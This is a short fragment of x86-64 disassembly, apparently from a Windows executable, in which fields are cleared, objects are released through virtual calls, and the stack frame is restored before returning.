mov qword [rbp + 8], rsi
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x1400242e1
lea rcx, [rbp + 8]
mov rax, qword [rbp + 8]
call qword [rax + 0x18]
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x28], rbx
mov qword [rbp + 8], rdi
mov qword [rbp - 0x18], rdi
lea rax, [rsp + 0x50]
mov qword [rbp + 0x58], rax
mov qword [rsp + 0x50], rsi
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x14002431a
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
call qword [rax + 0x18]
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x30], rdi
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret